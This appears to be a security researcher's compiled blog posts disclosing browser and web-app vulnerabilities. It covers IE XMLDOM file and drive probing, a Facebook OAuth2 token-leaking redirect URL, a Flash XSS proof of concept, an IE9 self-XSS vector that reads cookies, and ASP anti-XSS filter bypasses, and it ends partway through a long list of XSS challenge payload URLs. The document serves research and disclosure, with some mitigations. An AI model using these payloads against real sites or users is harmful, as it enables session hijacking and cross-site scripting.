I created the following test case to manipulate the “$target$” value and validate it to see the results:

validateXML('<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "$target$">')

function validateXML(txt) {
    // code for IE
    if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.async = true;
        try {
            xmlDoc.loadXML(txt);
			if (xmlDoc.parseError.errorCode != 0) {
				var err;
				err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
				err += "Error Reason: " + xmlDoc.parseError.reason;
				err += "Error Line: " + xmlDoc.parseError.line;
				alert(err);
				var errReason = xmlDoc.parseError.reason.toLowerCase();
				alert(errReason);
			} else {
                alert('No Error? Unknown!')
			}
        } catch (e) {
            alert(e);
        }

    } else {
        alert('you need to use IE')
    }
}

You can see this JS in action via this link in IE: http://jsfiddle.net/ubqug/

Detecting files in the C drive:

I tried different local file paths to see if I can include a file from the local file system. The results of the following test cases are the same – “Access is denied.”:

$target$=file://c:/windows/system32/calc.exe

$target$=file://c:/windows/system32/invalid.exe

See this link: http://jsfiddle.net/ubqug/1/

I thought I might be able to use “\\localhost” or “\\127.0.0.1” instead of using “file” protocol:

$target$ = \\127.0.0.1\c$\windows\system32\calc.exe

$target$ = \\127.0.0.1\c$\windows\system32\invalid.exe

The result was the same again; however, I did not receive an “access denied” error this time! See this link: http://jsfiddle.net/ubqug/2/

At this point, I used Sysinternals Suite Process Monitor to monitor the file system and I realised that in the previous example, it was looking for “c$” folder in the C drive!

Therefore, I removed “c$” from my targets and ran the test again:

$target$ = \\127.0.0.1\windows\system32\calc.exe

$target$ = \\127.0.0.1\windows\system32\invalid.exe

The result was promising as I received “Unspecified error” for the file that was available on my file system. See this: http://jsfiddle.net/ubqug/3/

So, I found my first bypass to detect available files on the C drive.

I also found more vectors to find files on the C drive and it turned out that I can get the same result by using “file:\” and “file:\\localhost\” instead of “file:\\”! See this link: http://jsfiddle.net/ubqug/4/

Detecting valid folders in C drive:

It was possible to find the valid folders on C drive by using the same technique as the error messages were a little bit different in case of having a valid or an invalid folder:

$target$ = \\localhost\windows\

$target$ = \\localhost\invalidfolder\

Try it in: http://jsfiddle.net/ubqug/6/ – in case of an invalid folder the message will be: “the system cannot locate the object …”. When a folder is valid we will have: “the system cannot find the path …”

I also found out if I use NTFS ADS (Alternate Data Streams) that are related to files and not the directories such as “::$DATA” I would receive different error messages to detect the valid folders (“access denied” versus the “the system cannot locate the object …”):

$target$ = \\localhost\windows::$DATA

$target$ = \\localhost\invalidfolder::$DATA

See the result in this link: http://jsfiddle.net/ubqug/7/

Detecting files and directories in all drives:

At this point during my testing, I had a limitation and I could not detect my files in any drive other than the C drive by using the previous vectors. Vectors like “file:/e:/” or “\\localhost\e$” did not work.

I solved this problem by using “res://” protocol (http://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx) and I received different error messages by pointing to the files or folders.

$target$ = res://d:\validfile.txt

$target$ = res://d:\invalidfile.txt

See the results here (you need to create the “validfile.txt” file in your D drive or change the path): http://jsfiddle.net/ubqug/5/

Detecting available drives:

In order to make the results more accurate, I had to find the available drive letters on the box. Unfortunately “res://” protocol was not helpful in this case and I had to use another solution. The solution that I found was in fact very easy. I could use the drive letters directly; if the drive letter is available, the error message would be “access denied” and when it is not available, the error message changes to “the system cannot find the path specified”:

$target$ = c:\

$target$ = invalid:\

See the results in http://jsfiddle.net/ubqug/8/

Detecting available Windows internal network addresses or internal websites:

During my tests, I realised that I can send http request to local sites or IP addresses, and I can point to network shares as well. In this case, it would give me an error immediately if the target was valid. However, it could take between 10 to 60 seconds to come back with an error when it could not receive a response from the target! I used this technique to detect valid local IP/Name addresses. However, as it does take a long time to identify an invalid target, it is not appropriate for scanning.

Denial of Service:

Like many other DTD parsers, XMLDOM object was also vulnerable to denial of service. I did not even try hard to find the issue and I used an example in the following link from MSDN Magazine:

http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

Summary:

I have created a PoC page to test the above techniques in one page which can be found via: http://0me.me/demo/IE/dtdTest.html

I also searched in Google and I found out that the general topic of these issues have been mentioned in the following link from Microsoft:

 http://msdn.microsoft.com/en-gb/library/windows/desktop/ms754611(v=vs.85).aspx

See the “Threats and Mitigation” section in the link above.

At the moment this issue is a client side issue and only works in IE. I published it as the impacts are low (limited information disclosure vulnerability) and you cannot read the file contents with the vectors that I have found (only worthless local DTD files are partially readable). However, this research can be very valuable to people who are looking for the new vectors in finding/exploiting XML vulnerabilities (for example in Java – I do not have time to test this at the moment) – obviously in legal and legitimate research/pentest projects ;)

Once again, the PoC page is: http://0me.me/demo/IE/dtdTest.html

1- IE/Firefox – Page Redirection Hijack

Several weeks ago, I reported an interesting PoC via my Twitter in which I had created a web page that stops Firefox and IE browsers to redirect users to their intended destination even if they had typed it directly in the address bar: https://twitter.com/irsdl/status/294239415428067329

This issue is still unpatched in the latest versions of these browsers (March 2013). Unfortunately, some advert companies are currently exploiting this issue as well. I have already reported it to Mozilla: https://bugzilla.mozilla.org/show_bug.cgi?id=839470

Example 1: No Redirection Ever: http://0me.me/demo/mozilla/firefox/UnRedirectablePage.html

Here is the Javascript code that does this:

window.onbeforeunload = function(){

      //Unredirectable Page

      setTimeout("window.location=document.location;alert('delay by alert');",0);

}

Example 2: This always redirects you to secproject.com:   http://0me.me/demo/mozilla/firefox/RedirectToSecProject.html

Here is the Javascript code that does this:

window.onbeforeunload = function(){

//Unredirectable Page

setTimeout("window.location='http://www.secproject.com';alert('delay by alert');",0);

}

2- Facebook OAuth2 Bypass

Facebook OAuth2 yet another redirection bypass! I only found one issue which was very similar to what Nir Goldshlager (www.nirgoldshlager.com) and Egor Homakov (homakov.blogspot.co.uk) had reported to Facebook. I highly recommend their blog posts about Facebook Oauth2 for reading and learning!

Here is what I have found in Facebook:

The following URL could send your sessions to attacker’s domain and he could hijack your OAuth token: Link

https://www.facebook.com/dialog/oauth?client_id=210831918949520&response_type=token&scope=,,,,&redirect_uri=https://apps.facebook.com/candycrush1//////////%23/testrdirsdl/%2523

It used to work in all the browsers. However, you needed to find an authorised Facebook app in order to be able to exploit this issue.

A short description:

- “/////” in the URL -> to bypass IE problem with Facebook redirection

- “candycrush1” -> to redirect the user to a normal user page instead of candycrush game! “https://apps.facebook.com/candy.crush1” takes you to a user page instead of an App!

- “%2523” and “%23” -> to remove # in the final URL and send the token directly in the URL.

The result of loading that URL was:

http://apps.facebook.com/testrdirsdl/&access_token=BlahBlahBlah&expires_in=5033

in which “testrdirsdl” is my app that can store the tokens in “http://www.secproject.com/demo/showmyinfo.php” (it does not have logging functionality at the moment!)

3- BugCrowd!

I attended several BugCrowd.com bounties and gladly received $$$ for private and public bounties! I liked the charity ones as well :-)

If you want to test live and different websites without having legal obligations (well, I hope they can provide us with a signed document per project very soon!), it is the right place. I recommend it to the people who want to have fun and increase their web app. security testing skills.

Unfortunately, the recent bounties from BugCrowd did not have fair prizes and I guess it is because of the companies budgets. Moreover, we still need them to come up with the hall of fame table! As soon as they sort these out, I will become more interested!

That’s it for now. Thanks for your time.

http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/

I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.

Here are my slides in different formats:

Download the Power Point format

Download the PDF format

In this talk, I had revealed some 0days as examples (vendors already know about these issues):

- File Upload Protection bypass in FCKEditor 2.6.8 ASP version (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]

- Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3 (Soroush Dalili) [Page 54 of Power Point file]

- Directory Traversal in GleamTech Filevista (Soroush Dalili) [Page 22 of Power Point file]

You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.

—–

Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”

This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.

Note: IE has a protection to make the “document” object inaccessible when you open a SWF directly in a browser. I have bypassed IE8 protection by using a simple redirection in Javascript. I have also found a noisy way to bypass IE9 protection by opening a new window (you may be able to do it in a less noisy way – please leave your comments if you know any other bypass method).

Here is the actionscript code:

package
{
	import flash.display.Sprite;
	import flash.external.*;
	import flash.system.System;
	public class XSSProject extends Sprite
	{
		public function XSSProject()
		{
			flash.system.Security.allowDomain("*");
			ExternalInterface.marshallExceptions = true;
			try {
				ExternalInterface.call("0);}catch(e){};"+root.loaderInfo.parameters.js+"///*PoC by Soroush Dalili @IRSDL - only for testing/educational purposes - He accepts no responsibility for any bad/malicious usage*/");
			} catch(e:Error) {
				trace(e);
			}
		}
	}
}

Compiled file is accessbile via: http://0me.me/demo/xss/xssproject.swf

Examples:

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,'_self’);}

IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,'target’);setTimeout(‘alert(w.document.location);w.close();’,1);

References:

[1] The other reason to beware ExternalInterface.call() (URL: http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html)

[2] Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS (URL: http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/)

I have seen several cases where the developers were using TryParse or isNumeric only for validation, and they were not using a numeric variable at all; however, this could still cause functional and/or security issues in certain cases.

What is wrong with TryParse or IsNumeric then?!

There is nothing wrong with these functions if they are used correctly. In fact, these functions should not be used for validation only; they tell us if we can convert a string to its numerical format, and therefore, we can use a proper numerical variable instead of the string.

However, (numerical Datatype).TryParse is more useful than IsNumeric and can create the numerical equivalent as an output which can be used safely afterwards; it can also accept the permitted format(s) and the required culture format.

When can it go wrong?

From TryParse or IsNumeric point of view, a string can still be numeric even if it has some control characters or it follows a specific format as it can still be converted to a number. Therefore, the original string can be completely different in length and format from its equivalent numeric value. Now, if you use the original string when the results of these functions are true, we may have issues based on the destination system that uses them and trusts your validation. In real examples, I have seen a denial of service because of having a Null character in a serialized XML in the memory, or a denial of service because of sending a long string to a C++ component which did not have any validation and trusted the provided data.

The following table shows several test cases that can be combined as well (I have used URLEncoded values for the space and control characters):

You can try IsNumeric function by using the following link:

http://sdl.me/NumericTest/IsNumericTester.ashx?input=1

Source Code: http://sdl.me/NumericTest/IsNumericTester.ashx.vb.txt

You can try Double.TryParse function by using the following link:

http://sdl.me/NumericTest/DoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/DoubleTryParseTester.ashx.cs.txt

Solution?

In .Net, (Numeric Data Type).TryParse automatically updates the relevant numeric variable for you that can be used later; it also accepts permitted format(s) and the required culture format of the input which is highly recommended to be used when you are looking for a specific format.

Example:

http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx.cs.txt

However, if you are a fan of using IsNumeric in VB, just make sure that you create a relevant numeric variable based on the input and convert the string to a number.

Another solution that may reduce the performance is validation by using a Regular Expression to check the numeric inputs in string. This method can be more useful if you are using different technologies (for example Java and .Net) at the same time to maintain consistency.

There is a defense-in-depth technique in IE9 that protects users against self XSS attacks which are growing very fast among social networking users (http://nakedsecurity.sophos.com/2010/02/02/anatomy-free-starbucks-gift-card-scam/ & https://www.facebook.com/video/video.php?v=956977232793).

IE9 protects users against copying and pasting a javascript or vbscript in URLs simply by detecting and removing the script protocols. For example, if you try to copy and paste “javascript:alert(1)” in the address bar, it will be converted to “alert(1)”. In the latest versions, it can also detect the script protocol if it starts with special characters such as Space Character (0×20), Control Characters (0×00-0x1F – not 0×00 and 0x7F), and Colon (0x3A) (Google chrome is currently vulnerable to this http://code.google.com/p/chromium/issues/detail?id=123213). As a result, even if you copy and paste the decoded equivalence of the following string, IE9 will remove the “javascript:” protocol:

%01%02%03%04%05%06%07%08%09%0A%0B%0C%0D%0E%0F%10%11%12%13%14%15%16%17%18%19%1A%1B%1C%1D%1E%1F%3A%20javascript:alert(1)

However, IE9 still allows any other URL to be copied into the address bar.

Description:

I accidentally realised that there is a strange behaviour in IE9 and “file” protocol that can lead to execution of a Javascript/VBScript in URL (or browsing the file system).  In order to replicate the issue, follow these steps:

1- Add a letter before file protocol (e.g. “Xfile:”), or maximum three letters after the “file” protocol (e.g. “fileXXX:”), or add one letter before and after the file protocol (e.g. “XfileX:” )

2- Now, add one or more space characters (or any other control characters) after the colon character (you can use URL-encoded values) (e.g. “XfileX:%20%0A%1F”)

3- Add the result to “javascript:Your Code Here” (e.g. “XfileX:%20%0A%1F javascript:Your Code Here”.

4- Open IE9, and go to facebook.com

5- Try to copy and paste the final string into the address bar and press enter. (e.g. “XfileX:%20%0A%1Fjavascript:alert(document.cookie)”)

6- You should be able to see your cookies.

Finally, two simple examples are:

Filexx:%09javascript:alert(1)

xfile:%20vbscript:msgbox(1)

I have also noticed that the file system can be browsed by the following vector (in different versions of IE):

XfileX:c:/

XfileX:%windir%

It is almost the same as using “file:c:/” which is not a security issue on its own. However, this new vector can lead to file system access in kiosk devices that use IE and have blacklist filter on the address bar.

Ctrl+Shif+L (Go to copied address) in IE9 – Can be used in Self-XSS:

There is an interesting feature in IE9 that can be used to make the exploitation of this issue even easier by using social engineering techniques. An attacker needs to deceive the user to copy something into his/her clipboard and then encourage him to press “Ctrl+Shift+L”! This attack is feasible when you are able to control an IFrame inside the target website such as Facebook.

Note 1: This issue has already been reported to MS as a low issue (msrc #12866).

Note 2: This issue is not detectable by Shazzer.

Two security issues have been reported via this security research:

1- IIS Short File/Folder Name Disclosure by using tilde “~” character:

        Click here for the advisory

2- .Net Framework Tilde Character DoS:

        Click here for the advisory

Workaround and Prevention:

We are working with security vendors to come up with a solution to mitigate the risk of these vulnerabilities. The paper PDF file will be updated accordingly.

IIS Shortname Scanner PoC – Source Code: http://code.google.com/p/iis-shortname-scanner-poc/

PoC Video:

Click here to download the paper.
Download Link:

http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Browsers Anti-XSS methods in ASP (classic) have been defeated!

This time, I want to start with the summary section first to break the rules!

Summary

The intention of this paper is to prove the client-side XSS protection methods must have rules for different web application languages, otherwise they will be bypassed. This research is based on ASP classic web applications, but it can be performed in other web application languages as well.

Introduction

I researched different methods of sending inputs to an ASP (classic) page. I found out that almost all of the browsers’ Anti-XSS protection methods are not aware of different features of ASP that accept the inputs; therefore, all of them can be bypassed.

Note: NoScript has already added all of these rules to its application and it is more secure than the others currently (thanks to Giorgio Maone for patching the application as quickly as possible). IE9 has better sense about ASP than Google Chrome, but it does not still have all the rules.

Description

In order to make you more interested, I will start with two examples:

Example 1: Do you think Anti-XSS methods should detect this easy XSS attack?

http://www.sdl.me/xssdemo/getxss.asp?input1=<script/&&input1=FOOBAR&input1=>alert('@IRSDL');</script>

Please try it in IE8/9/10 and Google Chrome to see the result.

Example 2: What about this?

http://www.sdl.me/xssdemo/getxss.asp?input1=<script/&in%u2119ut1=>al%u0117rt('@IRSDL')</script/

Example 3: Or, sometimes, the bypass can be complicated! This is how I solved my XSS1 and XSS2 questions with a single solution in SecProject.com Challenge Series 1:

http://sdl.me/challenge1/xss1/JsChallenge1.asp?I%%NPUT2=Somet%%hing&iN%%PUT2=')1&inP%%UT2%00%00=1};lt=1;1&In%u2119ut2=1%26<1&input2=0<ale%%rt(/AWESOME_IRSDL/&in%u2119U%%T2%00%00%0%%0%00%0%%0=1);1&in%u2119uT%%2%00=1;i%%f(0&in%u2119ut2%%=1){{1&I%%n%%PuT2%00%00%00=1/%%*%%/&iN%%p%%Ut2=1/%%/

And

http://sdl.me/challenge1/xss2/JsChallenge2.asp?I%%NPUT1=Somet%%hing&iN%%PUT1=')1&inP%%UT1%00%00=1};lt=1;1&In%u2119ut1=1%26<1&input1=0<ale%%rt(/AWESOME_IRSDL/&in%u2119U%%T1%00%00%0%%0%00%0%%0=1);1&in%u2119uT%%1%00=1;i%%f(0&in%u2119ut1%%=1){{1&I%%n%%PuT1%00%00%00=1/%%*%%/&iN%%p%%Ut1=1/%%/

As you see, I am only using 1 input parameter to bypass everything! (Note: this special page in xss1 converts “<” and “>” to “&lt;” and “&gt;” which was used to bypass NoScript as well – it is not a NoScript bug)

Why can you bypass XSS protections? I will tell you now.

Interesting ASP Input Features

1- HTTP Parameter Pollution (HPP): ASP is one of the web application languages which can receive several inputs with one single name. Although this feature was/is used legitimately in some of the web applications, it can be useful for attackers to bypass some restrictions as well [1].

2- Certain UTF-8 characters will be transformed to their ASCII equivalents [2], [3]. It can be used in both of parameter names and their values. Therefore, “inPut1=<scriPt/>” is equal to “%u0131n%u2119ut1=%u3008scr%u0131%u2119t>”

3- Parameter names in ASP are not case sensitive. Therefore, “input1” is equal to “InPuT1”.

4- Anything after the Null character will be ignored in parameter names and their values. Therefore, “input1=test” is equal to “input1%00Something=test%00Anything”

5- Percentage characters (“%”) will be ignored when there is no Hex value after them in parameter names and their values. Therefore, “input1=test” is equal to “%input1%=t%%est%”

6- When a parameter name after the ampersand character (“&”) is not followed by an equal sign (“=”), ASP does not count it as a separate input. As a result, in “?&input1=test” the parameter name is “&input1”; or, in “?&input1&input1=test” the parameter name is “&input1&input1”.

Bypassing browsers Anti-XSS protections

Now we know many different interesting features of ASP. We can mix these features together to bypass the browsers protections which do not understand these rules. Please see the above examples again to identify the feature types which have been used.

Note 1: URL Encoding can be used in ASP to obfuscate the attack.

Note 2: Many UTF-8 vectors such as “%u1111” will be translated to “?” in ASP which can be used in JavaScript.

Note 3: Normally, a UTF-8 encoded string should have a lowercase “u”. Therefore, “%u0041” (which is “A”) is not equal to “%U0041” (which is “U0041”). However, sometimes server configurations can make these equal!

Note 4: If you have more than 1 input (multi-injection), reordering the input parameters may bypass the protections (input disorder method [4]).

Finally

Please let me know via twitter or email if you know or have found any other interesting features.

This research was based on ASP classic language. However, other languages such as PHP can be studied in the same way; for example, PHP ignores spaces before the parameter names and anything after the “[]” or a null character (“%00”) in the parameter names, or in PHP, space, dot, and a lone square-bracket characters (“ .[”) in parameter names will be converted to an underscore character (“_”).

References

[1] HTTP Parameter Pollution, URL: https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

[2] NoScript New Bypass Method by Unicode in ASP, URL: http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/

[3] Lost in Translation (ASP’s HomoXSSuality), URL: http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/

[4] SecProject Web AppSec Challenge Series 1 Results, URL: http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/

Download Link: http://soroush.secproject.com/downloadable/Browsers_Anti-XSS_methods_in_ASP_(classic)_have_been_defeated.pdf

This is the scenario:

We have a .Net web application which redirects you to an error page whenever there is any error. The header and body of the responses from the server are exactly the same when the page is not there or there is an error in the page. And, we are interested to distinguish 404 (page not found error) and 500 (internal error) error codes from each other.

Here is an example:

1- The following file is available on the server:

http://www.sdl.me/PoCs/validfile.aspx

Note: It has an error when you do not provide its input (?input=1)

2- The following file is not available on the server:

http://www.sdl.me/PoCs/invalidfile.aspx

As there are some errors in both of these links, we are redirected to “http://www.sdl.me/pocs/error.html”.

Now, how can we detect which one is really on the server and what is the actual status code?

My Solution:

It is possible to add a “?aspxerrorpath=/” to both of these URLs to see the actual error. It is not still possible to see the source of error, but it will help us to make the crawling results more accurate.

Therefore, we would have:

1- http://www.sdl.me/PoCs/validfile.aspx?aspxerrorpath=/

2- http://www.sdl.me/PoCs/invalidfile.aspx?aspxerrorpath=/

Automated Scanners:

Web application security scanners such as Acunetix or Burp Suite Pro can also use this feature (bug?) for the .Net applications.

I have created a Burp Suite Extension as an example that will add “?aspxerrorpath=/” to the “.aspx” files in the scope:

/*
 * File Name: BurpExtender.java
 * Author: Soroush Dalili - @irsdl
 * Weblog: http://soroush.secproject.com/blog/
 * Date: 11 June 2012
 * Description: Quick extension for the "ASPXErrorPath in URL" technique
 * More Information:  http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/
 */

package burp;
import java.io.UnsupportedEncodingException;
import java.net.URL;

public class BurpExtender 
{
	public burp.IBurpExtenderCallbacks mCallbacks; // I will use this to keep the callbacks
	public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
	{
		mCallbacks = callbacks;
	}
	public void processHttpMessage(
			String toolName, 
			boolean messageIsRequest, 
			IHttpRequestResponse messageInfo)
	{  

		if (messageIsRequest){
			try
			{
				URL uUrl = messageInfo.getUrl();
				if (mCallbacks.isInScope(uUrl) && uUrl.getFile()!=null)
				{
					if(uUrl.getFile().matches("(?im).*\\.as[\\w]x$"))
					{
					String[] requestHeaderAndBody = {"",""};
					String finalRequestHeaderAndBody;
					requestHeaderAndBody = getHeaderAndBody(messageInfo.getRequest());
					requestHeaderAndBody[0] = requestHeaderAndBody[0].replaceAll("\\.aspx[\\?]*", ".aspx?aspxerrorpath=/&");
					finalRequestHeaderAndBody = requestHeaderAndBody[0]+"\r\n\r\n"+requestHeaderAndBody[1];
					messageInfo.setRequest(finalRequestHeaderAndBody.getBytes("UTF-8"));
					}
				}
			}
			catch (Exception e)
			{
				e.printStackTrace();
			}
		}

	}

	// Split header and body of a request or response
	private String[] getHeaderAndBody(byte[] fullMessage) throws UnsupportedEncodingException{
		String[] result = {"",""};
		String strFullMessage = "";
		if(fullMessage != null){
			// splitting the message to retrieve the header and the body
			strFullMessage = new String(fullMessage,"UTF-8");
			if(strFullMessage.contains("\r\n\r\n"))
				result = strFullMessage.split("\r\n\r\n",2);
		}
		return result;
	}

}

Recommendation for the developers/website administrators:

In order to stop penetration testers to use this technique, you need to stop or rewrite any web request which has “aspxerrorpath” parameter and its destination is not the default error page.

For example, in IIS7 (when your error page is “error.aspx”) we can use the following “web.config”:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<system.web>
		<customErrors mode="On" defaultRedirect="error.aspx" />
	</system.web>
	<system.webServer>
		<rewrite>
			<rules>
				<rule name="Query String Rewrite">
					<match url=".*\.as[\w]x" />
					<conditions>
						<add input="{QUERY_STRING}" pattern=".*aspxerrorpath=.*"
							negate="false" />
						<add input="{REQUEST_FILENAME}" pattern="error.aspx" negate="true" />
					</conditions>
					<action type="Redirect" url="error.aspx" appendQueryString="true" />
				</rule>
			</rules>
		</rewrite>
	</system.webServer>
</configuration>

For more information about IIS7 URL Rewrite please visit: “http://learn.iis.net/page.aspx/664/using-url-rewrite-module-20/”

You can find these awesome contestants + their results in the Hall of Fame page.

Note about Anti-XSS bypasses: NoScript has already patched all of the issues. IE9 and Google Chrome still do not have a good protection against the multi-input XSS.

XSS1 and XSS2:

Multi-injected inputs in JavaScript with duality: These two questions were very similar. In fact, they could have the same answer with a little change.

Instead of using all three inputs, some contestants solved them just by using two inputs. I think using two inputs even made it easier!

XSS technique without parentheses from Gareth Heyes also was used in several solutions (http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/).

Some of the vectors could bypass the protections by changing the input orders (I call it “input disorder” method) (for example, “input2” before “input1”).

No one solved XSS1 and XSS2 by using only 1 input and HPP (it was not part of the challenge to be fair); however, it is possible to solve these questions only by using 1 input and bypass all the browsers protections. You can define this as a self-challenge for yourself.

None of the contestants used homo-characters in ASP to bypass the protections (http://soroush.secproject.com/blog/2010/08/noscript-new-bypass-method-by-unicode-in-asp/ , http://hackademix.net/2010/08/17/lost-in-translation-asps-homoxssuality/). This also was not part of the challenge, but it was possible.

Results:

1- There was not a single solution that could bypass IE9 but not Google Chrome at the same time.

2- Based on the solutions that I had received, all the contestants could at least bypass Google Chrome in the first try (except Firefox without having any protection obviously). Therefore, Google Chrome is an easy target for this kind of XSS vulnerability when you can control multiple inputs.

3- NoScript was very tough target and it became harder and harder during the challenge as Giorgio Maone was constantly patching the issues. Most of the NoScript bypasses were patched in several hours only. Thanks to Giorgio for his support and providing us the best Anti-XSS solution which we can currently use and rely on. Please report any vector that still bypasses NoScript to Giorgio to help him to make it more secure.

Vectors: Google Chrome bypass only:

Some of these could bypass NoScript.

@kkotowicz (+NoScript, 2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=&input2=%27%29a}alert%28%27@kkotowicz%27%29;function%20b%28%29{if%28/*&input3=*/%27//

@kkotowicz (Gareth Heyes Method, -Firefox, 2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b'//&input2='%2F*&input3=*%2F)){a}}%3Bonerror%3deval%3B;throw%22=alert\x28\%22kkotowicz\%22\x29%22;{if(%22 

@kkotowicz (Gareth Heyes Method):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one"%2b'//&input2='%2F*&input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw"\"kkotowicz\"";{if("

@kkotowicz (Gareth Heyes Method, +NoScript, 2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&input2=%27%2F*&inpui3=*%2F%29%29{}}%3B;onerror=window[%22al%22%2b%22ert%22];%22%22[%22@kkotowicz%22].kkotowicz;;{if%28%22 

@superevr (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=2'){}}%20try{/*&input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@superevr (+NoScript, 2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=2'){}}%20try{/*&input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@superevr (only 1 input):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something&input2=test1&input3=*///')){}};alert(1);{{/*'

@superevr (+NoScript):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=test1&input2=2')){}}%20try{/*&input3=1*///')}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@peterjaric (input disorder?):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a%27%29%29;}alert%28%%27Peter%20JariJ%27%29;{{/*&input3=b%27%29;//*///%28%27&input1=/*%27//

@peterjaric (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=a&input2=%27%29;}alert%28%27Peter%20Jaric%27%29;{{/*&input3=*///

@yousukezan:

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=*//*&input2=%27%29;}alert%28%27yousuyousu%27%29;function%20f%28%29{{/*Something&input3=SomethingElse*///

@TheWildcat (+NoScript, Input disorder?):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input3=%2a%2f%20%26%26%20%61%31%2e%72%65%70%6c%61%63%65%28%2f%2e%2a%2f%67%2c%61%6c%65%72%74%29%20%7c%7c%20%27%3b%7d%7d%73%65%74%69%64%28%29%3b%7b%7b%2f%2f&input1=%27%29%2c%61%31%3d%22%74%68%65%77%69%6c%64%63%61%74%22%2c%28%27&input2=%79%79%79%27%2f%2a

@yousukezan (2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&input2=test1&input3=*///'));}alert('yousukezan');function%20f(){{/*

@yousukezan (+NoScript, Only 1 input!):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input3=*///%27%29%29;}alert%28%27yousukezan%27%29;{{/*

@skeptic_fx (+NoScript, 2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=one&input2=100%27%29{}}alert%28/skeptic_fx/%29;/*&input3=three%27;{{//*///

@skeptic_fx (+NoScript, 2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one&input3=')//*/{{//&input2=test1').value){}}alert(/skeptic_fx/);/*

@avlidienbrunn (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=something'){}%0a}%0aalert(/avlidienbrunn/.source);/*&input3=*/function%20die(){if(1==1){//

IE9 & Google Chrome:

@kkotowicz (Gareth Heyes Method):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&input2=))a};alert('kkotowicz');;/*&input3=)%2b'*/{{//'//

@kkotowicz (IE9 only?, good obfuscation technique):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&input2=%27%2F*&input3=*/)){}};%2b{valueOf:location,toString:[].join,0:"jav\x61script:alert\x28\"kkotowicz\")",length:1};;;//');{{1//

@kkotowicz (IE9 only?, good obfuscation technique):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&input2=))a};%2b{valueOf:location,toString:[].join,0:"jav\x61script:alert\x28\"kkotowicz\")",length:1};;/*&input3=)%2b'*/{{//'//

@kkotowicz:

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&input2=))a};alert('kkotowicz');;/*&input3=)%2b'*/{{//'//

@kkotowicz (Input disorder):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input3=*/)){}};alert("kkotowicz");;;//');{{1//&input1=one%22%2b%27//&input2=%27%2F*

@shafigullin:

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=/*%20%20*/%20/*&input2=%27%29%29%0A1};{y:{x:/*&input3=*/%20alert%28%22@shafigullin%22%29%20//%20%27%29//

@shafigullin:

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=*/ //'));1 /*&input2=*/; alert("@shafigullin"); /*&input3=*/;self.close=setid;if(true){{x:1/*

@kinugawamasato (very interesting cross site technique, +NoScript):

